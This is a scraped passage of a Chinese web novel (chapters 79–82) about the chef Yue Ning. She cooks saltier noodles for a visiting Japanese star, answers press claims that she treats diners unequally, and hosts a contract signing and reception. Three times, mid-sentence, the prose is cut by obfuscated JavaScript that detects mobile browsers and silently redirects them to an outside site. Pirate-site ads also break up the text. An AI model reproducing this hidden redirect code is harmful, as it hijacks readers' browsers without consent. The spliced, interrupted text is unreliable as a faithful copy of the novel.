腰：“饼画完了实惠的也有我正在跟相关人员制定员工激励制度包含工钱、花红和买楼补贴。没饲料生产队的驴都不肯干啊！对吧？” 大家笑了起来阿松说：“那我们都等着你给钱买楼。” “阿松你就不是买楼了你可以想独立屋了。”阿珍跟阿松说。 岳宁点头：“嗯嗯嗯一定可以的。” 上辈子跟着她的那些心腹出了多少个亿万富豪？ 前台电话铃响岳宁让人去接电话。 “宁宁蔡大少找你。” “我的话说完了。大家辛苦了！”岳宁跑过去接电话大家解散回家。 电话那头蔡致远说：“宁宁我现在带几个朋友来吃宵夜。” “什么朋友？想吃什么？”岳宁问。 蔡致远说：“日本朋友。他们吃不惯御龙轩的粤菜你给他们做点吃的？随便什么？我去日本的时候他们带我去吃面条咸死我了。今天御龙轩的菜他们吃起来就是没放盐。” 岳宁笑上辈子全世界都夸日本菜清淡好吃日本人连喝个汤都要用吸油纸把油吸了才喝。中餐重油重盐重辣不健康。 上辈子岳宁从北海道到九州跑了个遍回来她决定日版的宁烧腊盐翻倍酱汁里增加30%的油。研发团队认为她是不是疯了？她的解释是：“你只要做得看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915435|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清淡就可以了。” 在没偷到宁烧腊日版配方前他们的跟随者看着宁烧腊日本店生意兴隆抓耳挠腮。不知道为什么两家配方明明基本没区别他们在日本就不行呢？世上没有不透风的墙 说更新，记住域名ｃａｉｘｓ．ｃｏm╳(请来才小 说 看最新章节 完整章节)很快他们拿到了配方。据说他们刚开始还不敢相信胜利之法会这么简单？还以为她用了奸计引诱他们入坑。没办法可想了他们才决定试一试。试了一下果然成功。 这么一看蔡致远还有做酒楼的天赋？他都能直击要点。 “我来做个河粉？”岳宁问“几个人？” “连我四个人你决定多加两勺盐就可以了我那碗别加。” “知道了。”岳宁笑着回他。 岳宁跟岳宝华说了蔡致远要带朋友过来。 宝华楼日常还是以港城人为主日本人的口味他们并不清楚岳宝华说：“那要做什么？” “烧鸭、烧肉粉。”岳宁说道。 岳宁去风干房找了一只已经风干的传统烧鸭鸭胚再找了一块烧肉坯开了炉现烤起 来。 “就吃这个？”岳宝华有些不相信。 “对啊！宵夜呀！还能吃什么？” 岳宁说着，从冰箱里拿出一块五花肉、一个洋葱，五花肉去皮，切了片，洋葱也切了。 她拿了锅子煎起了五花肉，五花肉油脂都煎了出来，用煎出来的油，炒了洋葱，再加了一大勺高汤进去。 岳宝华皱眉，这个高汤本就是他们店里做汤河粉用的，里面本来就有油，五花肉里还有油，这不是油上加油？ 岳宁说：“熬出浓白的汤，就不显得油了。” 熬得浓白，那是油脂乳化，并不是说不油了。 “爷爷，您去开门，等致远哥哥他们！” 岳宝华秉承看不懂就别看，反正宁宁做事，他太多看不懂了。 岳宁开了大火，本来就是高汤底，加上五花肉，熬到汤汁浓稠毫不费力。 趁着熬汤的功夫，岳宁拿了生菜和河粉，做好准备。 听见外面有声音，她走了出去，蔡致远殷勤地带着一个戴着口罩的娇小的黄发女子进来，他们身后还跟着两个工作人员，和几个保镖。 蔡致远说：“这是我们港城最地道的粤菜酒楼，不过今天来晚了，我就让他们老板随便给我们做点。接下去两天有空我带你们来吃最最正宗的粤式料理。” 后面跟着的翻译给这位娇小的女子翻译，岳宁对“正宗”两个字表示怀疑，正宗粤菜就不合日本人的胃口了。 这个女子摘下了口罩，标准日本姑娘长相，这几天电视上无论调到哪个台都是她的消息，正是郭老板为了迎接她，连晚宴都没参加的那位**巨星中村美伊。 岳宁说：“中村小姐好！” 第79章 区别对待 祖孙俩进厨房，岳宝华切鸭子和烧肉，岳宁烫河粉。 河粉团在碗里，加上几片烫过的生菜，码上几块表皮烤得酥脆的烧肉和宝华楼的传统烧鸭。 岳宝华见孙女把一勺油、盐翻倍，还加了味精的稠白浓汤倒入河粉里，他忍不住皱眉，想想都喉咙发紧，这一碗吃下去，下半夜不得渴死？ 蔡致远那碗的汤就是他们宝华楼正常的高汤。 岳宁又给每一碗添上一勺蒜头油，潮汕的蒜头油和日本拉面的黑蒜油，本就有渊源。五十年代台湾人把客家人的炸蒜油带到了日本熊本，开了拉面铺，黑蒜油成了熊本拉面的标志，后来其他拉面也纷纷加起了黑蒜油，黑蒜油就广泛用于日本拉面中。 她的宁烧腊在日本能大受欢迎，其中也有炸蒜油的功劳。总之，这就是对了味了。 每个碗里放上一个勺子，蔡致远那碗除外，他就端着碗喝汤吧！ 她和岳宝华一起端了河粉出去，给四个人上了河粉，还额外配了一盘烧肉和一盘烧鸭，烧肉配上了蘸料，烧鸭浇上了汁水。 上好菜，岳宁对蔡致远说：“哥，我和爷爷在楼上办公室喝茶。” “去吧！”蔡致远说。 中村美伊夹了一筷河粉，吃了一口，再用汤勺舀了一口汤，她用夸张的表情说一句话。 翻译说：“中村小姐说，这是她来港城三次里，吃过最好吃的港城料理。” “我就知道她一定会喜欢。”蔡致远低头喝了一口汤，汤是适口的。 那个陆进勇和郭世杰天天在电视台、电台里讨好中村美伊的歌迷，说会让中村美伊吃到最好吃的港城料理。 搞到后面，也就是燕鲍翅，最离谱的是，他们还拿出了和牛，吃和牛不能去日本吗？非要到港城来吃？ 蔡致远是无所谓，反正御龙轩就是吃个环境吗？ 不过那两个还真不要脸，明明客人都没吃饱，还要跟中村美伊一起合影。等中村美伊一走，估计又要拿着中村美伊的名头大说特说了。 蔡致远看不过去，就拉着中村美伊来宝华楼吃宵夜。 蔡致远夹起一块烧鸭，咬一口，叫宁宁多放点盐，她还真下狠手啊？ 蔡致远把这块烧鸭放汤里涮了涮，看着几个日本人吃得欢快，还真是几粒盐就解决了问题。 蔡致远吃好了，上楼去找了岳宁，还给岳宁派了个任务，明天白天中村美伊在铜锣湾的鸿运舞台 举行排练，宝华楼负责给工作人员送餐。 祖孙俩送他们出门，埋伏在宝华楼门口的狗仔，没法子冲破保镖的防线，却可以等他们离开之后，把话筒递到岳宁面前：“岳小姐，中村美伊来宝华楼做什么？” “来酒楼还能做什么？吃宵夜啊？” “她吃了什么？” 岳宁笑了一声：“还有半只鸭子，一点的烧肉，我现在也饿了，要不你们进来吃一口中村美伊同款，烧鸭烧肉双拼河粉？” “啊？”狗仔没想到会接受到这样的邀请。 “走吧！守到现在也累了。” 岳宁利用剩下的食材，做了四碗河粉，端了出来，叫上岳宝华，和两个娱记，一起吃了起来。 狗仔要拍照，岳宁阻止：“你们别拍了，到时候这么清晰的一张照片在报纸上，别人还以为我请你们炒作呢？这碗河粉，敬一下在这个城市努力生活的人。” 狗仔有些不好意思，点头：“谢谢！” “不客气，大家都不容易吗？” 一个娱记喝了一口汤：“这个河粉真好吃，好像确实有点日本拉面的味道。中村美伊很喜欢吧？” “她吃的，比我们这个汤还要浓稠一点，要咸很多，这个比较适合我们的口味。” “这样啊？” “对啊！”岳宁跟他们讲了几句不同地区人口味差异，她说，“所以，一样煎了五花肉放高汤，他们吃的那款，我没有把油倒出来，这款是倒了油的。” “还有这样的区别？” “难怪我家里做鱼汤一直熬不白，是油不够多？”一个娱记说。 岳宁放下碗：“教你个小妙招，保管你能熬出白白的汤。你煎一个荷包蛋，放鱼汤里熬，荷包蛋吸油多，油脂乳化，就会白很多。” 两位娱记在深夜吃了这么一碗粉，感觉很满足，站起来跟她道别，岳宁送他们出门，一个人把镜头对准了她，拍了一张照片，说：“拜拜！” “路上小心。” 祖孙俩转身进来，岳宁跟岳宝华说：“爷爷，明天你起得早，打电话让肉铺多送二十斤牛腩来。另外安排送一百个双格日式塑料便当盒和饮料杯来。” * 一夜过去，岳宁起床洗漱，读过英语下楼吃早饭，岳宝华坐着看报纸，今天后厨当值的阿明正在收菜。 岳宁把三个师叔排了班，让他们把岳宝华的活都接了过去，不要再让爷爷处理特别具体的 事，现在还缺厨师，那就一起烧菜，以后厨师够了，他管管后厨，偶尔做做菜就好了。 岳宁打了一碗粥，就着菜脯炒蛋吃。 “牛腩已经到了。”岳宝华把报纸折叠了给她，版面上写“岳宁扬言掏空郭世杰” 刚刚吸溜一口粥的她，粥呛进了气管里，咳得肺都快出来了，岳宝华给她倒了一杯水，她喝了一口缓了缓，再拿纸巾擦嘴。 再用纸巾擦报纸上星星点点的粥，然后仔细看报纸，正文内容，、就是昨天行业协会，鸿安陆总经理宣布和宝华楼合作的事，文章把岳宁问郭世杰，御龙轩后厨的人是不是他们自己培训的？这句话拎出来反复解读。得出结论，岳宁打算从御龙轩后厨挖人。 御龙轩的主厨陆进勇接受采访，信誓旦旦说，他深受郭老板器重，而且御龙轩的厨师待遇在港城同行里也是屈指可数的，他们没必要也不可能，为了一点蝇头小利而跳槽。 岳宁又翻了个面，中村美伊抵港的消息占了整个版面，各种消息都有，君豪大酒店也趁着这个机会占了一块地方，放上了郭老板和陆大厨跟中村美伊的合影。 配上文章就是御龙轩为中村美伊做了一桌最港味的饭菜，中村小姐连连夸赞好吃。 中村美伊有没有夸，岳宁不知道。反正岳宁知道，自己被夸最好吃港式料理，肯定不是最港味的美食。 岳宁放下报纸，去换了厨师服，进后厨去准备港式咖喱牛腩，既要港式又要让日本人吃得惯，而且还会再保温的情况下，里面的菜不会影响口感，还可以大锅煮， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915436|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别省事，那就非咖喱牛腩莫属了。 后厨有几个是今天来当班的，包括阿明，岳宁刚好跟他们再说一遍。 阿明根本无所谓岳宁会招什么人进来，以前他都没想自己会当大厨，或者说他们师兄弟三个都没想过，现在已经被宁宁逼着上去了，那就只能上了。 他担心的是：“宁宁，你可以去内地招，难道其他老板不能用合作的方式从内地招？” 岳宁调着咖喱酱说：“首先，我能跟国内合作是因为乔爷爷跟内地领导的友谊。再者呢！他们信我的诚意。最最重要的是，一般人很难识别这些人到底有多好。” “做两个菜不就知道了？”阿明问。 岳宁摇头：“我知道阿明叔有多好，但是以前谁会认为您比楼家富的手艺还要好？” “啊？我比楼家富好？” “你现在还问这句话？以前你没信心，现在你难道没有？来的第一天我就觉得你特别好。”岳宁骄傲地说，“我就是能透过现象看本质的人。” 岳宁对着正在切菜的阿忠说：“阿忠，你也是，对吧？” 阿忠被夸得脸都红了：“嘿嘿！” “这里的人，要么是跟了我爷爷那么多年，不离不弃的，要么是我亲自把关挑的。”岳宁笑着说，“所以，这不是做两个菜的事啦！” 岳宁先炖了咖喱牛腩，十点半牛腩出锅，安排打便当，装冻柠茶，送出去的时候已经十一点出头。 岳宁回厨房，午市高峰来了，她接单炒菜。大厅的领班珠姐进来说：“宁宁，来了一群日本客人，导游说他们要吃中村美伊昨天晚上吃的河粉。” 啊这？岳宁问：“多少人？大致。” “二十来个，我先去数数。” 这个生意必须得做啊！她不是要测试日式拉面吗？还没去日本，生意自动上门了。日本客人知道中村美伊吃的河粉，那么港城客人肯定立马就知道了。 岳宁在厨房亲自做中村美伊同款烧腊双拼河粉，同时跟外头嘱咐：“接单一定要问清楚，是日本客人还是港城客人，两边的配方不同的。知道不？” “知道了。” 两个大锅调不同的汤底。 果然没多久，港城的客人也赶来吃中村美伊同款河粉了。 宝华楼好好一个大酒楼，卖起了汤粉来了。 河粉虽然价格低，但是翻台特别快，岳宁带着人在厨房忙到飞起，一边出河粉一边再三嘱咐，一定要分清楚不同来源地的客人，别搞错了。 一点都没到，家里的鲜河粉已经没有了，客人还在过来，岳宁只能出去说：“河粉没有了。中午，我给排练现场送了港式咖喱饭，大家要不要试试？” 有人失望地走了，也有人留下吃咖喱饭。 午市结束，收银小妹很开心，说今天就靠卖河粉和咖喱饭，营业额也不少。 是啊！上辈子宁烧腊虽然单价低，但是量大，占了集团六七成的营收，快餐连锁更加容易出行业巨头。 今天的这个情形，给了岳宁更大的信心，她也该加紧快餐的布局了。 她还没喘过一口气来，下午一条新闻爆了：“宝华楼区别对待日本客人和本港客人，同样的河粉，日本客人的汤汁更加浓稠。” 第80章 签约仪式 新闻记者看见岳宁已经冲了进来，到她面前，问：“岳小姐，有食客反应，宝华楼区别对待日本客人和本港客人，给日本客人吃的河粉更香浓，本港客人的河粉就清汤寡水？” 岳宁无奈摇头，说：“走吧！去后厨，我来亲自做一下，两个版本不同的汤底，你们试试味道。我再来解释为什么？” 跟在她身后的记者，还在追问：“岳小姐不认为自己有问题。” “百闻不如一见，事实胜于雄辩。”岳宁带头往里走，厨房里午市结束，清洁工正在进行清理。 “刚刚午市结束，里面有点乱，大家谅解。” 岳宁切了五花肉，两个锅同时烧，一样的五花肉，一个锅里五花肉煸出油脂之后，舀出了大部分油，再放入洋葱煸炒，另外一个锅里，留着油直接下洋葱。 洋葱煸软，岳宁从炖煮的大锅里舀了高汤，分别加在两个锅里，大火煮了十来分钟，岳宁揭开锅盖，一个锅里加入了少许盐，另外一个锅里放了一勺盐，再添了点味精。 岳宁把两锅汤都过滤了，她又加上蒜头油，说：“我们出去吧！” 她让人端了两碗汤到大厅里，放在桌上，让人拿来小碗和汤勺：“你们自己对比一下，两锅汤底的区别。” 记者们各自舀起了汤，有人尝到浓稠的一碗。 岳宁拿起他放在桌上的话筒，递到他嘴边：“什么口感？” 这位一愣，怎么自己变成被采访的对象了，他还是老实说：“浓郁、鲜、咸。有日式拉面汤底的味道。” 岳宁问他：“喜欢这个口味吗？” “能吃吧？但是吃了会口干吧？”这个记者说。 岳宁说：“尝尝另外一碗的味道。” 这个记者又舀了另外一碗的汤，这次他喝着就顺了。 岳宁又把话筒递到他嘴边：“怎么样？” “鲜，但是没有那碗鲜得出奇，也不咸了，这碗更加顺口。” 岳宁又看向其他记者：“你们呢？什么感受？” “一样，我觉得这碗清淡点的更适口一些。”另外一个记者说。 岳宁拿着话筒对着镜头：“崔慧仪小姐在跟我一起研究速食面的时候，跟我讲过圆仔面为什么要在在调味包里放一小包生抽。是因为港城人不喜欢吃日本速食面调味包里的味精。还有她说，港城人煮面的时候，不会把调味粉包全部放进去，因为太咸了。为了更好去理解速食 面的差异，我找了日料店和拉面馆吃面条，其中一家给我印象深刻，写着港城最正宗的日式拉面，我吃了他家的面。哇！好好吃哦！这么好吃的面，为什么不火呢？因为我在西北长大，相对港城的饮食习惯，西北口味重，盐放得比较多、还吃辣，而且我每个月定量只有三两油，身体对油脂很渴望，所以觉得好吃。我明白了问题出在哪里？肯定是地方饮食习惯不同。港城人是什么口味，你们反应就是答案。 一个记者点头：“原来是这样。 “这只能说，这是我个人对港城人和日本人口味的理解。我以为这样是更好服务了客人。但是忘记了，群体不能代表个体。那位本港客人可能更喜欢浓稠的汤底，明明他可以自己选择，我却因为他是港城人，所以替他决定了。在这里我向他道歉，他有空的话，也可以来宝华楼，我非常乐意为他重做一份河粉。 说的域名ｃａｉｘｓ．ｃｏｍ?(请来才小 说 看最新章节 完整章节)岳宁拿着话筒，“另外我说一下，这款河粉是今天的限定款，过了之后宝华楼就不提供了。毕竟宝华楼是家粤菜酒楼，不是茶餐厅。这个汤底我打算跟立德合作，推出宁小厨烧腊系列的第二款，烧鸭汤面。过了今天，还想要吃，就等圆仔了。 岳宁终于把话筒交回给了记者，记者有种重新掌握话语权的轻松，他问：“岳小姐，还有一个问题，听说你要掏空的御龙轩的后厨。御龙轩今天跟后厨的几个厨子签署了军令状，五年内不离开御龙轩，一次性给予十万港币的奖励。还有，你知道郭老板说了什么话吗？ “说什么？ “他说只要你能从他这里挖走一个大厨，他就拜你为师。 岳宁义正言辞：“我重申一次，宝华楼没把胜华楼当成竞争对手，宁宴不会把御龙轩当成竞争对手。港城五百万人口，经济蓬勃发展，容得下御龙轩，也可以容纳宁宴，甚至还会有更多的高端酒楼出现。同时世界够大，我也不会局限于港城。各走各的路，合法且有道德的良性竞争，有利于市场良性发展。 记者看向对过，至今还大门紧闭，负债累累的胜华楼，有些将信将疑。 说完，岳宁挠了挠头叹了一口气，一脸晦气：“顺便帮我问一句郭老板一句：整个港城就没有其他羊可以薅羊毛了吗？他为什么老逮住我一只羊薅啊？还有什么时候我的收徒门槛这么低了？真想做我徒弟，两年切墩，两年打荷，先练起来。 记者： …… 送走记者岳宁去办公室打电话给崔慧仪跟她说马上来找她商量宁小厨系列第二款烧鸭汤面。 * 巨星的一场演唱会余音绕梁 有人还想去一尝巨星喜欢的烧腊双拼河粉怎奈宝华楼只提供原本烧腊双拼河粉。 没吃上的才是最好的大家把压力给到了圆仔面崔慧仪出面承诺争取两个月内新品上市。 演唱会前反复宣传的君豪大酒店和他们的御龙轩别说是水花了甚至还有人提出如果那天接待中村美伊真吃饱了中村美伊还会出现在宝华楼？还会说宝华楼的双拼河粉好吃？ 郭老板说岳宁要是挖走他一个大厨他就拜岳宁做师傅岳宁给的反馈是让他好好练基本功。 这话被报章又理解为岳宁信心满满一定能掏空御龙轩。 宝华楼和鸿安的签约仪式在万众瞩目中开始了。 签约仪式开始出乎所有人意外的是代表宝华楼的不是一直在人前的岳宁也不是岳宝华而是前一段日子被八卦新闻炒得沸沸扬扬说蔡致远许以蔡太太之位都没能留住的苏菲。 八卦新闻一直在猜测苏菲到底是攀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915437|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那条金大腿能放弃蔡致远这样一个镶着钻石的金龟。 没想到她居然跳槽到了宝华楼成了新成立的宝华楼餐饮管理公司的总经理。 苏菲坐在台上和鸿安的总经理一起签署了两家的合作协议。 同时一起签署协议的还有给宝华楼供货的供货商粤省进出口公司派代表出席了签约仪式未来宝华楼餐饮管理公司旗下品牌他们将定点专供。 岳宁在这个时候站起来解释：“这是为了进一步严格品控比如狮头鹅以后宝华楼用的狮头鹅将会是澄海产地直供保证重量、天龄和健康这样呢？我们的卤鹅品质会更稳定。也能更好溯源。” 进出口公司是整货进港城然后通过各家私人商行分销签约之后还是宝华楼原有的那些卖肉卖禽类的供货商去帮忙拿货只是拿货可以更加稳定便捷。 这几家小老板也被邀请过来签约他们当中少了一家卖鱼陈岳宁让进出口公司推荐了一家合作好口碑好的水产私人商行。 邱春明也代表他们公司来签约了鹅肝和进口牛羊肉的供货。 签约仪式后两家联合开了新闻发布会苏菲代表公司介 绍了整个项目情况。 岳宁坐在台下给姐姐抛了一个媚眼苏菲回了一个眼神给她。 “外界对我们公司有诸多揣测。现在由我来向公众解释宝华楼餐饮管理公司的发展方向。岳宝华先生和岳宁小姐在制定公司未来发展规划的时候一直着眼于健康良性竞争。宁宴将跟随鸿安大酒店进入内地市场。我们将会和内地进行深度合作。众所周知宝华楼传承与粤城的福运楼。就在昨天福运楼的三位厨师也已经抵达港城。开始他们在宝华楼和宁宴为期两年的交流学习。为以后宁宴进入内地做准备。当然也充实现在宝华楼和宁宴的后厨。另外岳宁小姐还邀请了粤城的老饕周宣雄先生为宁宴的顾问……” 苏菲说完宝华楼未来的战略后说：“关于市场上流传的所谓宝华楼要挖空友商后厨的传言实在是无稽之谈。也与宝华楼提倡的有道德的竞争理念相悖。” “那岳小姐为什么要问郭老板：‘你们后厨都是自己培训的吗？’这不是误导公众吗？”有记者提问。 苏菲眼神淡淡：“岳小姐当日就说了不会把御龙轩作为竞争对手。现在引入的这些大厨也不是宝华楼自己培训的。她怎么误导公众了？” “所以宝华楼不会挖御龙轩的人？” 苏菲笑：“我们不会主动挖但是如果有人被宝华楼吸引 小说全网首发无弹窗免费阅读ｃａｉｘs?(请来才 小说 看最新章节 完整章节)对宝华楼的前景有信心我们也欢迎。宁宴下周将参加招聘会届时将提供从前厅到后厨的三十多个工作岗位。我相信岳先生和岳小姐有这个魅力能吸引人才的加入。届时期待你们的到来！” 这不是挖了这是吸引。 晚上鸿安和宝华楼联合举行了招待酒会岳宁穿了赵熙如设计的晚礼服和岳宝华、鸿安陆先生一起站在宴会厅门口迎客…… 第81章 酒会 岳宁站在门口笑意盈盈迎接着来宾，这是她这次酒会唯一被委派的任务，其他的事，苏菲早就一手搞定。 跟宝华楼一直合作的几个小老板，难得有这样的机会，来得很早。 邱老板也是刚刚接手父辈的生意，他们的商行也不大，也想利用这个机会多认识些人。 让岳宁有些意外的是，崔家昌来得很早。 崔家昌是鸿安请的，酒楼卖来卖去是正常的商业行为，两家友好交易，自然要请。 崔家昌和陆先生打了招呼，又来跟祖孙俩打招呼。 想起那天岳宁和小女儿一起去辉煌，他以为小女儿小人得志，迫不及待去辉煌耀武扬威，岳宁是去当面质问，为什么要将她牵扯进硼砂事件。直到看到新闻说岳宁将接手辉煌，他反应过来，那天岳宁就是来看辉煌值不值得买。 原来女儿说辉煌在她们手里，她们可以委托岳宁来管理，不是随便说说，而是那时候他们已经有这个计划。女儿知道对方的盘算，丝毫没有透露，眼睁睁地看着他卖掉了辉煌，亲生女儿狠起来，比外人还要心狠手辣。 岳宁看着崔家昌，离北京初见，两个月不到，崔家昌的头发已经接近雪白，整个人显得苍老了不少。 这次陪在他身边的，倒不是俞婉媚了，而是一个三十出头的女子。 岳宁记得崔慧仪说过，她爸除了二太，还有一个三太太，生了一个女儿，一个没有生孩子的女朋友。 爷爷称呼这位为“钟小姐”，那就是女朋友了。 岳宁扫了一眼这个女朋友，又看向崔家昌：“崔世伯，以前就该多带钟小姐出来。” 崔家昌意识到她话里有话，回忆起她那一句：“晚了。” 他微微叹一声：“宁宁，何必呢？” 岳宁跟崔慧仪闲聊的时候，崔慧仪私下也曾说过，对这个爸她已经心寒了，她只想拿到立德，也不想一条活路都不给她爸留，她姐也是这个意思。 岳宁微微一笑：“崔世伯是我爷爷的老食客了。那我就再多嘴一次，您细读一下《扁鹊见蔡桓公》，您现在是：‘君之病在肠胃，不治将益深。’该放手，还得放手。” 崔家昌细品这话，岳宁说：“慧仪姐姐到了，您先请便。” 崔慧仪今天男装打扮，穿了一身酒红色的无尾礼服，短发红唇，更显得利落飒爽。 岳宁走过去：“姐姐好帅！” 崔慧仪展开了 双臂，把岳宁抱住：“宝贝，你好美！” 岳宁今天穿的是一件宝蓝色的丝缎礼服，上半身以星空为灵感，布满水钻，裙子则是光滑缎面的鱼尾裙，十分优雅。 两个女孩子抱一起，记者举起相机拍摄。 岳宁帮崔慧仪改了圆仔面调料配方，推出了宁小厨的第一款豉油鸡面大获成功，第二款还没开始，已经让多少人翘首以盼。立德的硼砂危机，也是岳宁几句话化解的。 岳宁和崔慧仪之间的友谊，市场谁人不知？甚至很多人揣测，就连这次收购，也是崔慧仪吃里扒外，回馈岳宁。 崔慧仪放开岳宁，捏了她的脸：“我贴心吧？陪你跳开场舞？” 岳宁上辈子参加过很多聚会，大约内地的富一代，无论学历高低，大多是草根出身，入门最快的也就是一些玄而又玄的，什么冥想、静心、品茶，或者古董字画欣赏，她那里依山傍水，就成了最佳场所。舞会这种，那是二代们的爱好。 她上辈子小时候被逼着学的，那也是芭蕾，还是心不甘情不愿学的。 苏菲倒是担心她不会，问她要不要请个老师来学。岳宁一直忙，也没时间可以学。 她到立德厂里教双拼烧腊汤底料的时候，跟崔慧仪说了两句，崔慧仪非要拉着她在办公室里跳，第一次跳总归不太熟练。崔慧仪就主动说要陪她跳开场舞。 岳宁点头：“姐姐最好了！” 崔慧仪进去，又来了几个鸿安的客人，陆总经理带着他们祖孙俩认识。 后面，乔君慎带着周明灵过来，今天飒爽姐姐聚会吗？ 乔君慎看里面，有些意外：“君贤还没到？” “还没呢！他说跟乔爷爷和奶奶，还有三姨和姨夫一起过来。”岳宁说道。 乔君慎笑了：“那还得等等。” 岳宁不解，乔君慎说：“等两位太太。” “哦哦！”岳宁懂了，她看见蔡致远，开心地说，“致远哥哥来了。” 乔君慎见蔡致远今天只有一个人过来，问：“吕明明呢？她不是最喜欢这种场合吗？” 蔡致远没给表哥好脸色：“一个人不能来？” 蔡致远跟岳家祖孙和陆先生打了招呼，见乔君慎带着周明灵等着他，问：“你不进去干嘛？” 乔君慎拍了拍他的肩，笑：“谁叫你是我弟弟呢？哥哥舍不得你孤单，陪你一起进去。” 蔡致远目光早就往会场里寻找了，见 到正在跟客人聊天的苏菲。 苏菲自从提出辞职，立马就交接工作，接手那个人也是电视台的老人，甚至比苏菲还要早几年进亨通。不是他要求高，实在是有比较了，他就哪儿哪儿都看不上。 每次问过那人，他还要再问一次苏菲，前面几次苏菲还会回他，后面苏菲就嫌他烦了，告诉他，她要处理宝华楼的事，实在没空事无巨细地跟他汇报，让他要适应其他人。 适应个屁！最近发生的屁事，让他意识到，她就是这样默默地把所有的事都做完了，让他轻轻松松站在人前。 今天下午鸿安和宝华楼开新闻发布会，蔡致远很意外，苏菲坐在台上代表宝华楼发言，岳宁反而坐在台下，偶尔补充两句。 “走吧！乔君慎说。 蔡致远和表哥、周明灵一起入场。 蔡致远径直向苏菲走去，苏菲见到他，带着笑迎了过来：“蔡先生，好！ 太过于熟悉，蔡致远一眼都看透了这假笑的表情，他说：“你适应很快吗？ 苏菲看向岳宁：“老板给的自由度高，适应起来肯定简单。 蔡致远：…… 岳宁跟苏菲招手，进出口公司的人来了，岳宁跟她关照过，一来这是长期的合作伙伴，二来农产品进出口公司的人，比不得金融和商业上的那些人，这种场合出席的少。岳宁不希望冷落了这些人。 苏菲跟蔡致远说：“蔡先生不好意思，有贵客到了，失陪。 蔡致远又不好挡着苏菲做事，毕竟她今天也算是主人，只能眼睁睁地 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原来乔爷爷在家里埋怨过老太太了呀？乔启明说：“你说宁宁是自家孩子你前两天还说要早点到……” 老两口还斗起嘴了？岳宁说：“已经很早了呢？” 这时乔启明被会场里的一个胖子吸引他问岳宁：“那是周宣雄？” 岳宝华走过来：“就是周三爷。” 乔启明拉住老妻：“是宣雄！” “真是。”乔老太太惊喜说着老两口往周三爷那里走去。 周老爷子已经很多年不出席这种场合了再说还是港城的这种场合都没几个认识的人正无聊呢！突然听见一声：“宣雄。” 他转头看去见到了熟人。 其实在粤城岳宁带着乔君贤去他家吃饭他就知道乔君贤是乔启明的孙子。 然当年意气风发的周三公子现在不过是一个老胖子 看见老友家的小朋友教养得如此好他替老友高兴。 见到故人周宣雄不免眼热叫一声：“启明兄。” 乔启明走到他身边伸手拍了一下周宣雄肥厚的肩膀：“真的是你啊！” 乔启明是个什么身份？居然对一个胖老头如此热络？来宾不免猜测这是哪路神仙？ 门口乔家老夫妻进去了乔家和与叶应漪也进去了乔君贤还在岳宁身边。 岳宁跟餐饮协会的副会长寒暄完见乔君贤还在身边她转头：“我等下找你。” “我就跟你说一句。”乔君贤在她耳边说“等下开场舞我和你跳。” 岳宁微微张嘴她说：“我答应慧仪姐姐了她昨天教我跳舞她今天特地穿了男装说带我跳开场舞不好换的。” 乔君贤往里面看去穿着男装礼服的崔慧仪正在跟他妈聊天。 崔慧仪可真是他的好姐姐。 岳宁见他不开心看向蔡致远：“你去陪一下致远哥哥吧？我觉得他好像很不开心。” 乔君贤转头看她她能看出来表哥不开心就看不出他不开心？ 岳宁笑着说：“第二支舞跟你跳你不要嫌弃我跳得不好。” “好！”乔君贤笑了。 第82章 父女吵架 赵熙如今天没带刘家耀，带了一个颇有气势的白人男子，那个男子看见岳宁，就对赵熙如讲了一串话，岳宁只听得出来那是意大利语，具体说什么她就不知道了。 “他夸我找到了合适的人穿这条裙子。”赵熙如介绍，这是她的合作伙伴，是一个意大利时装集团的人，赵熙如的公司目前代理这家公司在东南亚，包括港城的业务。 “我把那些真丝面料拿给他看了，他很感兴趣。等下有空我们聊两句？”赵熙如说。 岳宁一直忙，赵熙如就自己去了一趟粤城友谊商厦，找了一些面料，确实像岳宁说的，简直就是白菜价。 “行，等下我找你们。”岳宁请他们先进去。 宾客渐渐都到了，三人一起进去，岳宁见乔启明一直陪在周宣雄身边，跟围着他的那些人聊。 岳宁要了一杯果汁，走了过去，听乔启明说：“民国二十五年到二十六年的那一场粤城银行业危机，让我认识了宣雄老弟。也正是这次结缘，在后面最最艰难的日子里，南洋车还在源源不断给我送来，我手头资金已经枯竭。我要是没办法把钱给南洋，南洋那里也没钱收旧车，那用旧车跑运输这条路可能就断了。是宣雄老弟，以他在粤城银行界的威望，给我拿来十万大洋，让我能续上这口气。” “老哥哥啊！好汉不提当年勇了。”周老爷子笑看向岳宁，“我现在就满足一下口腹之欲，还有这条舌头好用，帮小丫头的菜把把关。” 